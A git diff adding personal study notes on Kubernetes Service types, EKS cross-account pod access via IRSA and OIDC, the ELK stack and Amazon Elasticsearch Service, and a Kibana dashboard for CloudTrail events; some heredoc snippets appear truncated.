Running 192.168.20.8 +# nginx-deployment-574b87c764-xsn9s Running 192.168.53.240 +``` + + +1. Create the ClusterIP Service + + +```bash +# Create a ClusterIP service +cat < clusterip.yaml +apiVersion: v1 +kind: Service +metadata: + name: nginx-service-cluster-ip +spec: + type: ClusterIP + selector: + app: nginx + ports: + - protocol: TCP + port: 80 + targetPort: 80 +EOF +# create the object and apply the clusterip.yaml file, +kubectl create -f clusterip.yaml +# service/nginx-service-cluster-ip created + +or + +# To expose a deployment of ClusterIP type, run the following imperative command: +# expose command creates a service without creating a YAML file. +# However, kubectl translates your imperative command into a declarative Kubernetes Deployment object. +kubectl expose deployment nginx-deployment \ + --type=ClusterIP \ + --name=nginx-service-cluster-ip +# Output: +# service "nginx-service-cluster-ip" exposed + + +# Delete the ClusterIP service: +kubectl delete service nginx-service-cluster-ip +# Output: +# service "nginx-service-cluster-ip" deleted + + +``` + + +2. Create a NodePort service + +```bash +# create a NodePort service +cat < nodeport.yaml +apiVersion: v1 +kind: Service +metadata: + name: nginx-service-nodeport +spec: + type: NodePort + selector: + app: nginx + ports: + - protocol: TCP + port: 80 + targetPort: 80 +EOF +# create the object and apply the nodeport.yaml file +kubectl create -f nodeport.yaml + +or + +# To expose a deployment of NodePort type +kubectl expose deployment nginx-deployment \ + --type=NodePort \ + --name=nginx-service-nodeport +# Output: +# service/nginx-service-nodeport exposed + + + + +# Get information about nginx-service: +kubectl get service/nginx-service-nodeport +# Output: +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# nginx-service-nodeport NodePort 10.100.106.151 80:30994/TCP 27s + +# Important: The ServiceType is a NodePort and ClusterIP that are created automatically for the service. +# The output from the preceding command shows that the NodePort service is exposed externally on the port (30994) of the available worker node's EC2 instance. +# Before you access NodeIP:NodePort from outside the cluster, you must set the security group of the nodes to allow incoming traffic. You can allow incoming traffic through the port (30994) that's listed in the output of the preceding kubectl get service command. + +4. +# If the node is in a public subnet and is reachable from the internet, check the node’s public IP address: +kubectl get nodes -o wide | awk {'print $1" " $2 " " $7'} | column -t +# Output: +# NAME STATUS EXTERNAL-IP +# ip-10-0-3-226.eu-west-1.compute.internal Ready 1.1.1.1 +# ip-10-1-3-107.eu-west-1.compute.internal Ready 2.2.2.2 + +-or- + +# If the node is in a private subnet and is reachable only inside or through a VPC, then check the node’s private IP address: +kubectl get nodes -o wide | awk {'print $1" " $2 " " $6'} | column -t +# Output: +# NAME STATUS INTERNAL-IP +# ip-10-0-3-226.eu-west-1.compute.internal Ready 10.0.3.226 +# ip-10-1-3-107.eu-west-1.compute.internal Ready 10.1.3.107 + + +# Delete the NodePort service: +kubectl delete service nginx-service-nodeport +# Output: +# service "nginx-service-nodeport" deleted +``` + + + + + + +## Aceess + +User accounts versus service accounts +- user + - User accounts are for humans. + - Service accounts are for processes, which run in pods. +- name + - User accounts are intended to be global. Names must be unique across all namespaces of a cluster. + - Service accounts are namespaced. +- permission + - Typically, a cluster's user accounts might be synced from a corporate database, where new user account creation requires special privileges and is tied to complex business processes. + - Service account creation is intended to be more lightweight, allowing cluster users to create service accounts for specific tasks by following the principle of least privilege. +- Auditing considerations for humans and service accounts may differ. +- A config bundle for a complex system may include definition of various service accounts for components of that system. Because service accounts can be created without many constraints and have namespaced names, such config is portable. + + + + + + + + + + + + + +## use case + +### Enabling cross-account access to EKS cluster resources + +Often customers manage their AWS environments separated using multiple AWS accounts. +- They do not want production resources to interact or coexist with development or staging resources. +- While this provides the benefits of better resource isolation, it increases the access management overhead. + +access +- User access to multiple accounts can be managed by leveraging temporary AWS security credentials using `AWS Security Token Service (STS) and IAM roles`. +- But what if the resources, say, containerized workloads or pods in an EKS cluster hosted in one account wants to interact with the EKS cluster resources hosted in another account? + - use fine-grained roles at the pod level using `IAM Roles for Service Accounts (IRSA)`. + +--- + +**Scenario** + +- a customer with multiple accounts – dev, stg, and prod +- wants to manage the resources from a continuous integration (CI) account. +- An EKS cluster in this CI account needs to access AWS resources to these target accounts. +- One simple way to `grant access to the pods in the CI account` to target cross-account resources: + - Create roles in these target accounts + - Grant assume role permissions to the CI account EKS cluster node instance profile on the target account roles + - And finally, trust this cluster node instance profile in the target account’s role(s) + + +Though this will allow the EKS cluster in the CI account to communicate with the AWS resources in the target accounts, it grants **any pod running on this node** access to this role. +- At AWS, we always insist to follow the standard security advice of granting least privilege, or granting only the permissions required to perform a task. Start with a minimum set of permissions and grant additional permissions as necessary. + +--- + +**Solution** + +![Screen Shot 2022-10-19 at 11.58.46](https://i.imgur.com/Hqu1Por.png) + +IAM supports federated users using **OpenID Connect (OIDC)**. +- Amazon EKS hosts a `public OIDC discovery endpoint` per **cluster** containing the **signing keys** for the `ProjectedServiceAccountToken` JSON web tokens +- so external systems, like IAM, can validate and accept the OIDC tokens issued by Kubernetes. + + +--- + +#### Prerequisites + +- OIDC +- IAM role + IAM policy +- Kubenert service account -> IAM role + + +##### Setup OIDC in CI account + +1. Fetch the CI account cluster’s OIDC issuer URL + 1. for EKS cluster version is 1.13+, it will have an OpenID Connect issuer URL. + 2. get this URL from the Amazon EKS console directly, or use CLI command to retrieve it. + +```bash +aws eks describe-cluster \ + --name \ + --query "cluster.identity.oidc.issuer" \ + --output text \ + --profile ci-env + +# Determine whether you have an existing IAM OIDC provider for the cluster. +oidc_id=$(aws eks describe-cluster \ + --name my-cluster \ + --query "cluster.identity.oidc.issuer" \ + --output text | cut -d '/' -f 5) + +# Determine whether an IAM OIDC provider with the cluster's ID is already in the account. +aws iam list-open-id-connect-providers | grep $oidc_id +``` + + +1. Create an OIDC provider for the cluster in the CI account + 1. Navigate to the IAM console in the CI account, choose Identity Providers, and then select Create provider. + 2. Select `OpenID Connect` for provider type and paste the OIDC issuer URL for the cluster for provider URL. Enter `sts.amazonaws.com` for audience as shown below. + +```bash +# If no output is returned, then you must create an IAM OIDC provider for the cluster. + +# Create an IAM OIDC identity provider for the cluster with the following command. Replace my-cluster with the own value. +eksctl utils associate-iam-oidc-provider \ + --cluster my-cluster \ + --approve +``` + + +##### Setup IAM role in CI account + +1. Create IAM policy + +```bash +cat >my-policy.json <my-service-account.yaml <trust-relationship.json < +# Mountable secrets: my-service-account-token-qqjfl +# Tokens: my-service-account-token-qqjfl +``` + + + + + +##### configure a pod to use a service account + + + +1. create a deployment manifest that you can deploy a pod to confirm configuration with + + +```bash + +# Set variables +export cluster_name=dev-my-app-01 +export namespace=default +export service_account=my-app +export my_app=my-app +export my_pod=my-app-5bbf4dd447-rshjm +export my_role=eks-my-app +export policy_arn=arn:aws:iam::my_account:policy/my-app-coe-config-policy +# Set AWS account ID +account_id=$(aws sts get-caller-identity --query "Account" --output text) +# Set cluster's OIDC identity provider +oidc_provider=$(aws eks describe-cluster \ + --name dev-my-app-01 \ + --query "cluster.identity.oidc.issuer" \ + --output text | sed -e "s/^https:\/\///") + + +cat >my-deployment.yaml < --profile target-env + + + +# You can also run a DescribeCluster command to describe the contents of any cluster. + +aws eks describe-cluster \ + --name \ + --region \ + --profile target-env +``` + + + + +1. Configuring target account’s EKS cluster – Modify the aws-auth configmap + +For the CI account cluster pod to access and manage the target cluster’s resources, you must edit the aws-auth configmap of the cluster in the target account by adding the role to the system:masters group. Below is how the configmap should look after the changes. + +```yaml + mapRoles: | +. . . + - groups: + - system:masters + rolearn: arn:aws:iam::TARGET_ACCOUNT_ID:role/target-account-iam-role + username: test-user +``` + + + + +1. Test the access to EKS clusters in the target accounts + +```bash +# In the pod created from step 5, update the kubeconfig to test the access to the target account’s EKS cluster. +aws eks update-kubeconfig \ + --name \ + --region \ + --profile target-env + + + +# The pod should now be able to access the target cluster’s kube resources. Verify by issuing some sample kubectl get calls to access the target account’s EKS resources. +kubectl get namespaces + +kubectl get pods -n kube-system +``` diff --git a/_posts/01Cloud/01AWS/ELK/2020-07-18-ELK.md b/_posts/01Cloud/01AWS/ELK/2020-07-18-ELK.md new file mode 100644 index 00000000000..f1df6d20b03 --- /dev/null +++ b/_posts/01Cloud/01AWS/ELK/2020-07-18-ELK.md @@ -0,0 +1,376 @@ +--- +title: AWS - ELK +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, ELK] +tags: [AWS] +toc: true +image: +--- + +- [The ELK stack](#the-elk-stack) + - [Elasticsearch `log analytics and search use cases`](#elasticsearch-log-analytics-and-search-use-cases) + - [Logstash `collect data`](#logstash-collect-data) + - [Kibana `visualization and reporting tool`](#kibana-visualization-and-reporting-tool) +- [AWS Elasticsearch Service](#aws-elasticsearch-service) + - [Benefits](#benefits) + - [Use cases](#use-cases) + - [features](#features) + +--- + +# The ELK stack + +The ELK stack is an acronym used to describe a stack that comprises of 3 open-source projects: `Elasticsearch, Logstash, and Kibana`. +- Often referred to as `Elasticsearch` +- the ELK stack can: + - aggregate logs from all systems and applications, + - analyze these logs, + - create visualizations for application and infrastructure monitoring, + - faster troubleshooting, + - security analytics, and more. + + +ELK stack fulfills a need in the log analytics space. +- a log management and analytics solution to `monitor this infrastructure` and `process any server logs, application logs, and clickstreams`. +- a simple yet robust log analysis solution for developers and DevOps engineers to gain valuable insights on failure diagnosis, application performance, and infrastructure monitoring +- can choose to deploy and manage the ELK stack yourself. + - scaling up and down to meet business requirements or achieving security and compliance is a challenge with the self-managed option. +- Or choose Amazon Elasticsearch Service + - fully managed service + - deploy, secure, and operate Elasticsearch at scale. + - offers support for Elasticsearch APIs, built-in Kibana, and integration with Logstash + - can continue to use existing tools and code + - Amazon Elasticsearch Service also integrates with other AWS services such as `Amazon Kinesis Data Firehose, Amazon CloudWatch Logs, and AWS IoT` giving you the flexibility to select the data ingestion tool that meets use case requirements. + +ELK + +- **Logstash** + - Data collection and transportation pipeline. We will use Logstash to read in our syslog files and store them in an Elasticsearch index. +- **Elasticsearch** + - A distributed search and analytics engine designed for scalability. This is what indexes our data and allows us to create usability visualizations with Kibana. +- **Kibana** + - a data visualization platform that is easy to use and nice on the eyes. + + +The data lifecycle for ELK goes a little something like this: +1. `Syslog Server` feeds `Logstash` +2. `Logstash` filters and parses logs and stores them within `Elasticsearch` +3. `Elasticsearch` indexes and makes sense out of all the data +4. `Kibana` makes millions of data points consumable by us mere mortals + +![image21-1024x328](https://i.imgur.com/Me2Uq0R.png) + +![image6-1024x422](https://i.imgur.com/1NfY7c6.png) + + + +--- + +## Elasticsearch `log analytics and search use cases` + +- release in 2010 +- most popular search engine + - ideal choice for log analytics, full-text search, security intelligence, business analytics, and operational intelligence use cases. + +- How does Elasticsearch work? + - send data in JSON to Elasticsearch by the `API or ingestion tools` + - such as Logstash and Amazon Kinesis Firehose + - Elasticsearch automatically stores the original document + - and adds a searchable reference to the document in the cluster’s index + - then search and retrieve the document using the Elasticsearch API + - can also use Kibana with Elasticsearch to visualize data and build interactive dashboards. + +- run Elasticsearch + - `on-premises or on Amazon EC2`: responsible for installing Elasticsearch and other necessary software, provisioning infrastructure, and managing the cluster. + - `or on Amazon Elasticsearch Service`: fully managed service, no worry about time-consuming cluster management tasks such as hardware provisioning, software patching, failure recovery, backups, and monitoring. + +functions: +- fast time-to-value + - free, open source software, + - restful based api, distributed search and analytics engine built on apache lucene. + - a simple http interface, + - uses schema-free json documents + - easy to get started and quickly build applications for a variety of use-cases. + +- high performance + - process large volumes of data in parallel, + - quickly finding the best matches for queries. + +- near real-time operations + - elasticsearch operations such as reading or writing data usually take less than a second to complete. + - use elasticsearch for near real-time use cases such as application monitoring and anomaly detection. + +- easy application development + - elasticsearch provides support for various languages + - including java, python, php, javascript, node.js, ruby, and many more. + +- complimentary tooling and plugins + - elasticsearch comes integrated with `kibana`, visualization and reporting tool. + - also offers integration with `beats and logstash`, easily transform source data and load it into elasticsearch cluster. + - a number of open-source elasticsearch plugins such as language analyzers and suggesters to add rich functionality to your applications. + + +--- + + +## Logstash `collect data` + +pic + +pic + + +- light-weight, open-source data ingestion tool + - 数据采集的,类似于flume。 +- most often used as a data pipeline for Elasticsearch, analytics and search engine. +- powerful log processing capabilities, + - Logstash is a popular choice for loading data into Elasticsearch. + + +Logstash架构: + +![Screen Shot 2020-11-16 at 19.53.57](https://i.imgur.com/HDzvFSW.png) + + +- **Batcher**: 负责批量的从queue中取数据; +- **Queue** 分类: + - `In Memory`: + - 无法处理进程Crash、机器宕机等情况 + - 会导致数据丢失 + - `Persistent Queue In Disk`: + - 可处理进程Crash等情况, + - 保证数据不丢失,保证数据至少消费一次, + - 充当缓冲区,可以替代**kafka**等消息队列的作用。 + + +functions: +- easily load unstructured data + - 输入:采集各种样式、大小和来源的数据 + - easily ingest unstructured data from a variety of data sources + - including `system logs, website logs, and application server logs`. + - `server-side data processing pipeline` + - collect data from a variety of sources, + - transform it on the fly, + - and send it to desired destination. + - 支持各种输入选择 ,可以在同一时间从众多常用来源捕捉事件。 + - 能够以连续的流式传输方式,轻松地从日志、指标、Web 应用、数据存储以及各种 AWS 服务采集数据。 + +- offers pre-built filters + - 过滤器:实时解析和转换数据 + - pre-built filters, readily transform common data types, index them in Elasticsearch, and start querying without having to build custom data transformation pipelines. + - 数据从源传输到存储库的过程中 + - Logstash 过滤器能够解析各个事件, + - 识别已命名的字段以构建结构,并将它们转换成通用格式,以便更轻松、更快速地分析和实现商业价值 + - Logstash 能够动态地转换和解析数据,不受格式或复杂度的影响: + - 利用 Grok 从非结构化数据中派生出结构 + - 从 IP 地址破译出地理坐标 + - 将 PII(个人验证信息) 数据匿名化,完全排除敏感字段 + - 整体处理不受数据源、格式或架构的影响 + +- flexible plugin architecture + - support over 200 plugins already available on Github + - the plugin for customize the data pipeline, to easily index the data, + - or easily create one yourself. + + +- 输出:选择你的存储,导出你的数据 + - 尽管 Elasticsearch 是首选输出方向,能够为我们的搜索和分析带来无限可能,但它并非唯一选择。 + - Logstash 提供众多输出选择, + - 可以将数据发送到您要指定的地方,并且能够灵活地解锁众多下游用例。 + +--- + + +## Kibana `visualization and reporting tool` + +![t018edc86755a3eabc3-1](https://i.imgur.com/aSDa1pL.png) + +- free, open-source, data visualization and exploration tool for reviewing logs and events. +- easy-to-use, interactive charts, pre-built aggregations and filters, and geospatial support and making it the preferred choice for visualizing data stored in Elasticsearch. + +- 设计出来用于和Elasticsearch一起使用的。 + - 你可以用kibana搜索、查看存放在Elasticsearch中的数据。 + - Kibana与Elasticsearch的交互方式是各种不同的图表、表格、地图等,直观的展示数据,从而达到高级的数据分析与可视化的目的。 + +- run Kibana + - on-premises, on Amazon EC2, + - or on Amazon Elasticsearch Service: Kibana is deployed automatically with your domain as a fully managed service, automatically taking care of all the heavy-lifting to manage the cluster. simply load your data into an Amazon Elasticsearch Service domain and analyze it using the provided Kibana end-point. + + +functions: +- interactive charts + - kibana offers intuitive charts and reports to interactively navigate through large amounts of log data. + - dynamically drag time windows, zoom in and out of specific data subsets, and drill down on reports to extract actionable insights from data. + - powerful and easy-to-use features + - such as `histograms, line graphs, pie charts, heat maps, and built-in geospatial support`. + +- mapping support + - kibana comes with powerful geospatial capabilities + - seamlessly layer in geographical information on top of data and visualize results on maps. + +- pre-built aggregations and filters + - can run a variety of analytics like `histograms, top-n queries, and trends` with just a few clicks. + +- easily accessible dashboards + - easily set up dashboards and reports and share them with others. + - all you need is a browser to view and explore the data. + + + +--- + + +# AWS Elasticsearch Service + +![ESS_HIW.db99588614cbf44e2d62ef9c9c173ebfe41e2834](https://i.imgur.com/fMf2fmf.png) + +![Amazon ES ELK diagram.9d830908067fb7bedb52c6738126f2dfe18b611a](https://i.imgur.com/Ra6zHf3.png) + +- Fully managed, scalable, and secure Elasticsearch service, easy to deploy, secure, and run Elasticsearch cost effectively at scale. +- build, monitor, and troubleshoot applications using the tools love, at the scale need. +- provides support for + - open source Elasticsearch APIs, + - managed Kibana, + - integration with Logstash and other AWS services, + - and built-in alerting and SQL querying. +- pay what use – no upfront costs or usage requirements. + + +## Benefits + +- Easy to deploy and manage + - deploy Elasticsearch cluster in minutes. + - The service simplifies management tasks such as `hardware provisioning, software installation and patching, failure recovery, backups, and monitoring`. + - To monitor clusters, Elasticsearch includes built-in event monitoring and alerting so get notified on changes to data to proactively address any issues. + +- Highly scalable and available + - Elasticsearch can store up to 3 PB of data in a single cluster, + - enable to run large log analytics workloads via a single Kibana interface. + - can easily scale cluster up or down via a single API call or a few clicks in the AWS console. + - highly available using multi-AZ deployments, can replicate data between 3 Availability Zones in the same region. + +- Highly secure + - For data in Elasticsearch Service, can `achieve network isolation with Amazon VPC`, `encrypt data at-rest and in-transit` using keys create and control through AWS KMS, and `manage authentication and access control with Amazon Cognito and AWS IAM policies`. + - Elasticsearch is also HIPAA eligible, and compliant with PCI DSS, SOC, ISO, and FedRamp standards to help meet industry-specific or regulatory requirements. + + +- Cost-effective + - pay only for the resources consume. on-demand pricing with no upfront costs or long-term commitments, or achieve significant cost savings via `Reserved Instance pricing`. + - As a fully managed service, Elasticsearch further lowers total cost of operations by eliminating the need for a dedicated team of Elasticsearch experts to monitor and manage clusters. + + +--- + +## Use cases + +**Application monitoring** +- Store, analyze, and correlate application and infrastructure log data to find and fix issues faster and improve application performance. +- receive automated alerts if application is underperforming, enabling to proactively address any issues. + +> for example +> An online travel company can use `Elasticsearch` to `analyze logs from its applications` to identify and resolve performance bottlenecks or availability issues, ensuring streamlined booking experience. + + +**Security information and event management (SIEM)** +- Centralize and analyze logs from disparate applications and systems across network for real-time threat detection and incident management. + +> for example +> A telecom company can use `Elasticsearch with Kibana` to `quickly index, search, and visualize logs from its routers, applications, and other devices` to find and prevent security threats such as data breaches, unauthorized login attempts, DoS attacks, and fraud. + + +**Search** +- Provide a fast, personalized search experience for applications, websites, and data lake catalogs, allowing users to quickly find relevant data. + +> For example +> a real estate business can use `Elasticsearch` to help its consumers find homes in their desired location, in a certain price range from among millions of real-estate properties. `get access to all of Elasticsearch’s search APIs, supporting natural language search, auto-completion, faceted search, and location-aware search`. + + +**Infrastructure monitoring** +- Collect logs and metrics from servers, routers, switches, and virtualized machines +- to get a comprehensive visibility into infrastructure, +- reducing mean time to detect (MTTD) and resolve (MTTR) issues and lowering system downtime. + +> for example, +> A gaming company can use `Elasticsearch` to `monitor and analyze server logs` to identify any server performance issues that could lead to application downtime. + +--- + +## features + +**Easy to deploy and manage** +- `Setup and configuration`: + - Getting started with Elasticsearch is easy. + - setup and configure Elasticsearch cluster using the AWS Management Console or a single API call through the AWS CLI. + - can specify the number of instances, instance types, storage options, and modify/delete existing clusters at any time. +- `In-place upgrades`: + - to easily upgrade Elasticsearch clusters to newer versions without any downtime, using in-place version upgrades. + - With in-place upgrades, you no longer need to go through the hassle of taking a manual snapshot, restoring it to a new cluster running the newer version of Elasticsearch, and updating all of endpoint references. + +- `Event monitoring and alerting` + - Elasticsearch provides `built-in event monitoring and alerting`, monitor the data stored in cluster and automatically send notifications based on pre-configured thresholds. + - Built using the `Open Distro for Elasticsearch alerting plugin`, allows to configure and manage alerts using Kibana interface and the REST API and receive notifications via custom webhooks, Slack, Amazon Simple Notification Service (SNS), and Amazon Chime. + - can view cluster health metrics including `number of instances, cluster health, searchable documents, CPU, memory, and disk utilization for data and master nodes through Amazon CloudWatch`, at no additional charge. + +- `SQL querying`: + - Elasticsearch supports querying of Elasticsearch cluster using the SQL syntax. + - Built using the `Open Distro for Elasticsearch SQL plugin` + - provides more than 40 SQL functions, data types, and commands, including direct export to CSV and query translation from SQL to Elasticsearch JSON. + - can also connect to existing SQL-based business intelligence and ETL tools via a JDBC driver. + +- `Integration with open source tools`: + - Elasticsearch offers built-in Kibana and integration with Logstash, to ingest and visualize the data using the open source tools. + - can continue to use existing code with direct access to `Elasticsearch APIs and plugins such as Kuromoji, Phonetic Analysis, Ingest Processor Attachment, Ingest User Agent Processor, and Mapper Murmur3`. + + +- `Highly scalable and available` + - Scalability: Elastisearch store up to 3 PB data in a single Elasticsearch cluster and scale up/down as needs change. + - You can monitor the state of cluster through Amazon CloudWatch metrics and add or remove instances via a simple API call or a few clicks in the AWS console. + - can also modify SSD-powered Amazon Elastic Block Store (EBS) volumes to accommodate workload requirements. + +- `Availability`: + - supports 3 Availability Zones (AZ) deployments, + - to deploy instances across multiple AZs for better availability and failure tolerance. + - can enable 3 AZ deployments for both existing and new clusters at no extra cost using the AWS console, CLI, or SDKs. + - If you enable replicas for indexes, the primary and replica shards will automatically be distributed across nodes providing cross-zone replication. + +- `Durability`: + - build data durability for Elasticsearch cluster through `automated and manual snapshots`. + - use snapshots to recover cluster or to create a new cluster with preloaded data. + - By default, the Elasticsearch will automatically create hourly snapshots of each domain and retain them for 14 days at no extra charge. + - These snapshots are stored in Amazon S3, 99.999999999% (11 9’s) durability. + + +- `Highly secure` + - securely connect applications to managed Elasticsearch environment from VPC or via the public Internet, configuring network access using VPC security groups or IP-based access policies. + - can also securely authenticate users and control access using Amazon Cognito, AWS Identity and Access Management (IAM), or basic authentication using username and password. + - Elasticsearch leverages the `Open Distro for Elasticsearch security plugin` to define granular permissions for indices, documents, or fields and to extend Kibana with read-only views and secure multi-tenant support. + - Elasticsearch supports built-in encryption for data at-rest and in-transit so you can protect data both when it is stored in domain or in automated snapshots, and when it is transferred between nodes in domain. + - Elasticsearch is HIPAA eligible and compliant with PCI DSS, SOC, ISO, and FedRamp standards, making it easy for you to build applications that meet compliance requirements. + + +- `Cost-effective` + - Pay only for what you use + - no upfront fee or usage requirement. + - can reserve instances for for a one- or three-year term to get significant cost savings on usage as compared to on-demand instances. + +- `UltraWarm` + - a warm storage tier that complements the existing Elasticsearch hot storage tier by providing less expensive storage for older and less-frequently accessed data while still providing an interactive experience. + - stores data in Amazon S3 while using custom, highly-optimized nodes, purpose-built on the AWS Nitro System, to cache, pre-fetch, and query that data. + - This allows you to: + - Retain up to 3 PB of data in a single Elasticsearch cluster while reducing cost per GB by nearly 90% compared to existing Elasticsearch storage tiers. + - Run fast, interactive analytics on both recent (weeks) and historical (months or years) log data without needing to spend hours or days restoring it from the archives. + - Easily query and visualize across both recent and historical log data via `Kibana interface`, enabling you to quickly identify and troubleshoot performance issues. + - When searching and analyzing data, you don’t need to worry about which tier of storage that data is currently in as that is handled automatically. + - To start using UltraWarm, sign in to the AWS console, create an Elasticsearch cluster, and when selecting nodes, enable UltraWarm. + - You can select `UltraWarm1.medium.elasticsearch` or `UltraWarm1.large.elasticsearch` instances. + + + + +--- + +ref +- [lab](https://aws.amazon.com/getting-started/hands-on/build-log-analytics-solution/) +- [ELK + PALO ALTO NETWORKS](https://anderikistan.com/2016/03/26/elk-palo-alto-networks/) + +. diff --git a/_posts/01Cloud/01AWS/ELK/ELK-dashboard.md b/_posts/01Cloud/01AWS/ELK/ELK-dashboard.md new file mode 100644 index 00000000000..5966caed9ed --- /dev/null +++ b/_posts/01Cloud/01AWS/ELK/ELK-dashboard.md @@ -0,0 +1,284 @@ + + + +- [Visualizing AWS CloudTrail Events using Kibana](#visualizing-aws-cloudtrail-events-using-kibana) + - [create chart](#create-chart) + - [the number of API events logged by CloudTrail on the account in the last hour.](#the-number-of-api-events-logged-by-cloudtrail-on-the-account-in-the-last-hour) + - [types of errorCode errors](#types-of-errorcode-errors) + - [AWS Blog solution](#aws-blog-solution) + - [Creating a CloudTrail trail](#creating-a-cloudtrail-trail) + - [Creating an Amazon ES domain (Elasticsearch cluster)](#creating-an-amazon-es-domain-elasticsearch-cluster) + - [Creating an Amazon Cognito user pool and identity pool](#creating-an-amazon-cognito-user-pool-and-identity-pool) + - [Creating an EC2 instance](#creating-an-ec2-instance) + - [Configuring a proxy](#configuring-a-proxy) + - [Creating an SSH tunnel](#creating-an-ssh-tunnel) + - [Streaming CloudWatch Logs data to Amazon ES](#streaming-cloudwatch-logs-data-to-amazon-es) + - [Visualizing the CloudTrail events using Kibana](#visualizing-the-cloudtrail-events-using-kibana) + + + +# Visualizing AWS CloudTrail Events using Kibana + +visualize [AWS CloudTrail](https://aws.amazon.com/cloudtrail) events, near real time, using Kibana. +- CloudTrail + - enables governance, compliance, operational auditing, and risk auditing of the AWS account. + - log, continuously monitor, and retain account activity related to actions across the AWS infrastructure. +- use an [ELK](https://aws.amazon.com/elasticsearch-service/the-elk-stack/) (Elasticsearch, Logstash, Kibana) stack to + - aggregate logs from all the systems and applications, + - analyze these logs, + - create visualizations for application and infrastructure monitoring. + - faster troubleshooting and security analytics. +- Kibana + - popular open-source visualization tool designed to work with Elasticsearch. + - Amazon ES provides an installation of Kibana with every Amazon ES domain. + - Kibana dashboard: continuously monitor the CloudTrail logs helps simplify operational analysis and troubleshooting compliance issues. + + +--- + + +## create chart + + +--- + + +### the number of API events logged by CloudTrail on the account in the last hour. + +1. bar chart. +2. For **aggregation** type in the Y-axis, choose **Count**. +3. For **Aggregation** type in the X-axis, choose **Terms**. +4. For **Field**, search for and choose _eventName.keyword_. +5. For **Order by**, choose **Metric**: **Number of Events**. + +![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/dashboard-2-1024x525.png) + + +--- + +### types of errorCode errors + +create a time series graph to check for the different _errorCode_ errors that CloudTrail detects in the AWS account. + +1. choose **TSVP**. +4. For **Group by**, choose **Terms**. +5. For **By**, choose **errorCode.keyword**. + +The following screenshot shows a graph with the occurrences of ResourceNotFound errors in the last hour. + +![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/dashboard-3-1024x525.png) + + + + +--- + +## AWS Blog solution + +In this solution: +- replace the Logstash with AWS native solutions to stream CloudTrail events to an [Amazon Elasticsearch](https://aws.amazon.com/elasticsearch-service) (Amazon ES) domain. +- Because the cost of the Amazon ES cluster increases as log data grows, you may want to use cheaper storage tiers within the Amazon ES leveraging the [UltraWarm](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/ultrawarm.html) feature. + + +**Solution Overview** +- got the CloudTrail events +- send the CloudTrail events to Amazon CloudWatch Logs +- CloudWatch Logs trigger Lambda function to send the Trail Events to an Amazon Elasticsearch Index. +- stream the logs to an Amazon ES cluster in near-real time, through a CloudWatch Logs subscription. +- Kibana create the near real-time dashboard +- access the Kibana endpoint to visualize the data. + +![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/Cloudtrail_Kibana.png) + +**Prerequisites** +- An AWS account +- An IAM user with access to AWS resources used in this solution + +**High-level approach** +- CloudTrail is enabled on the AWS account when you create it. +- use the **Event history** page on the CloudTrail console + - to view, search, download, archive, analyze, and respond + - to account activity across the AWS infrastructure for the past 90 days. + - This includes activity made through the [AWS Management Console](https://aws.amazon.com/console), [AWS CLI](https://aws.amazon.com/cli), AWS SDKs, and programmatically. + +To implement this visualization solution using Kibana, you complete the following high-level steps: + +1. Create a CloudTrail trail for an ongoing record of events in the AWS account. +2. Send the CloudTrail events to an CloudWatch Logs log group. +3. Configure the trail to send events to an Amazon ES domain in near-real time. +4. Create an Amazon ES domain to store the CloudTrail logs, which contain trail events to Amazon ES +5. Visualize the CloudTrail events using Kibana + +--- + +### Creating a CloudTrail trail + + +1. CloudTrail trail > S3 bucket + - create a CloudTrail trail: provide the following information: + - **Trail name** – _myblog-all-events_ (or name of the choice) + - **S3 bucket for storing logs** – _blog-cloudtrail-events_ (or S3 bucket of the choice) + - **SSE-KMS encryption** – Use an existing key or create one based on the needs + + - can create up to five trails for a Region. + - After create a trail, CloudTrail automatically starts logging API calls and related events in the account to the Amazon S3 bucket that you specify. + + - To stop logging, turn off logging for the trail or delete it.  + - set up a trail that delivers a [single copy of management events in each Region free of charge](https://aws.amazon.com/cloudtrail/pricing/). + + +2. CloudTrail events > CloudWatch log. + - [Sending Events to CloudWatch Logs](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/send-cloudtrail-events-to-cloudwatch-logs.html). + - Specify a log group name, which to use on the CloudWatch console to send the trail events to Amazon ES. + - We use the name _CloudTrail/MyBlogLogGroup_. + +- CloudTrail Insights helps to identify and respond to unusual activity associated with _write_ API calls. + - By default, AWS CloudTrail trails log all management events, and don’t include data or CloudTrail Insights events. + - Management events: capture management operations, + - data events: the resource operations performed on or within a resource + + +--- + +### Creating an Amazon ES domain (Elasticsearch cluster) + +Placing the Amazon ES domain within a VPC +- provides inherent strong layer of security +- recommended for production clusters. + + +search the Elasticsearch index using Kibana +- configure an SSH tunnel to access Kibana from outside the VPC. +- can also use an NGINX proxy or client VPN to access Kibana from outside a VPC, along with [Amazon Cognito](https://aws.amazon.com/cognito) authentication. + 1. Create an Amazon Cognito user pool and identity pool. + 2. Create an EC2 instance in a public subnet in the same VPC that the Elasticsearch domain is in. + 3. Use a browser add-on, such as FoxyProxy, to configure a SOCKS proxy. + 4. Create an SSH tunnel from the local machine to the EC2 instance. + 5. Optionally, use the [elasticsearch-in-vpc-only](https://docs.aws.amazon.com/config/latest/developerguide/elasticsearch-in-vpc-only.html) AWS Config Config Rule to determine if Elasticsearch is mistakenly accessible from outside the VPC. + +--- + +### Creating an Amazon Cognito user pool and identity pool + +create the Amazon ES production cluster beforehand and modify the access policy, + +When creating the Amazon ES domain, complete the following steps: + +1. Enter a name for the Amazon ES domain. +2. Select three Availability Zones. +3. Choose the instance types. +4. Choose the number of nodes (a multiple of the selected Availability Zones). +5. Provide the storage requirements. +6. Provide the dedicated primary node (instance type and number). +7. Keep **UltraWarm** unselected. +8. In **Network configuration**: + 1. Select VPC access. + 2. Select the VPC where you want to create the cluster and associated subnets. + 3. Select the security group to use for the Amazon ES domain +9. if want to use fine-grained access control, powered by Open Distro for Elasticsearch. + - [Fine-Grained Access Control in Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/fgac.html). +10. Enable Amazon Cognito authentication and choose the user pool and identity pool + - 